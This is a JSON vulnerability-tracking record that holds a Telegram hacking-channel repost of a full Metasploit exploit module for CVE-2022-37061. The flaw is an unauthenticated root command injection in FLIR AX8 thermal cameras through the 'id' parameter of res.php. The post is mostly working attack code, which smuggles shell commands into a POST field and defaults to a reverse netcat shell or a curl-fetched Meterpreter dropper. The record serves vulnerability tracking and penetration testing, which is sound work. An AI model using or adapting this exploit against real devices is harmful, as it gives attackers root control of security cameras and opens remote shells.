{"uuid": "86144110-3f75-4a63-81a9-c43d0853c9b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-37061", "type": "seen", "source": "https://t.me/hacking_Attack/75075", "content": "Exploit Collector\nFLIR AX8 1.46.16 Remote Command Injection\n\nhttps://2.bp.blogspot.com/-y5QhCp_hFKM/WWlvahEOH0I/AAAAAAAAIPA/Q0VQ49Z0hVw4skegRDdSXm3Bk15Ptyg5wCLcBGAs/s1600/h70.png All FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to remote command injection. This can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter in the res.php endpoint. This module uses the vulnerability to upload and execute payloads gaining root privileges.\n\nSHA-256 | a321cd3e8960e684cbab1cd82bb0f9be0cda474af87c57e7f89fa9aaa83b6bcaDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/stopwatch'\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'FLIR AX8 unauthenticated RCE',\n'Description' => %q{\nAll FLIR AX8 thermal sensor cameras versions up to and including 1.46.16 are vulnerable to Remote Command Injection.\nThis can be exploited to inject and execute arbitrary shell commands as the root user through the id HTTP POST parameter\nin the res.php endpoint.\n\nThis module uses the vulnerability to upload and execute payloads gaining root privileges.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'Thomas Knudsen (https://www.linkedin.com/in/thomasjknudsen)', # Security researcher\n'Samy Younsi (https://www.linkedin.com/in/samy-younsi)', # Security researcher\n'h00die-gr3y' # metasploit module\n],\n'References' => [\n['CVE', '2022-37061'],\n['PACKETSTORM', '168114'],\n['URL', 'https://attackerkb.com/topics/UAZaDsQBfx/cve-2022-37061'],\n],\n'DisclosureDate' => '2022-08-19',\n'Platform' => ['unix', 'linux'],\n'Arch' => [ARCH_CMD, ARCH_ARMLE],\n'Privileged' => true,\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/reverse_netcat'\n}\n}\n],\n[\n'Linux Dropper',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_ARMLE],\n'Type' => :linux_dropper,\n'CmdStagerFlavor' => [ 'curl', 'printf' ],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'\n}\n}\n]\n],\n'DefaultTarget' => 0,\n'DefaultOptions' => {\n'RPORT' => 80,\n'SSL' => false\n},\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n}\n)\n)\nend\n\ndef execute_command(cmd, _opts = {})\naction_id = rand(1..40)\nreturn send_request_cgi({\n'method' => 'POST',\n'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',\n'uri' => normalize_uri(target_uri.path, 'res.php'),\n'vars_post' => {\n'action' => 'alarm',\n'id' => \"#{action_id};#{cmd}\"\n}\n})\nrescue StandardError => e\nelog(\"#{peer} - Communication error occurred: #{e.message}\", error: e)\nprint_error(\"Communication error occurred: #{e.message}\")\nreturn nil\nend\n\n# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution\ndef check\nprint_status(\"Checking if #{peer} can be exploited!\")\nsleep_time = rand(5..10)\nprint_status(\"Performing command injection test issuing a sleep command of #{sleep_time} seconds.\")\nres, elapsed_time = Rex::Stopwatch.elapsed_time do\nexecute_command(\"sleep #{sleep_time}\")\nend\n\nreturn Exploit::CheckCode::Unknown('No response received from the target!') unless res\n\nprint_status(\"Elapsed time: #{elapsed_time} seconds.\")\nreturn CheckCode::Safe('Failed to test command injection.') unless elapsed_time >= sleep_time\n\nCheckCode::Vulnerable('Successfully tested command injection.')\nend\n\ndef exploit\ncase target['Type']\nwhen :unix_cmd\nprint_status(\"Executing #{target.name} with #{payload.encoded}\")\nexecute_command(payload.encoded)\nwhen :linux_dropper\nprint_status(\"Executing #{target.name}\")\nexecute_cmdstager\nend\nend\nend Source:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:19.215921Z"}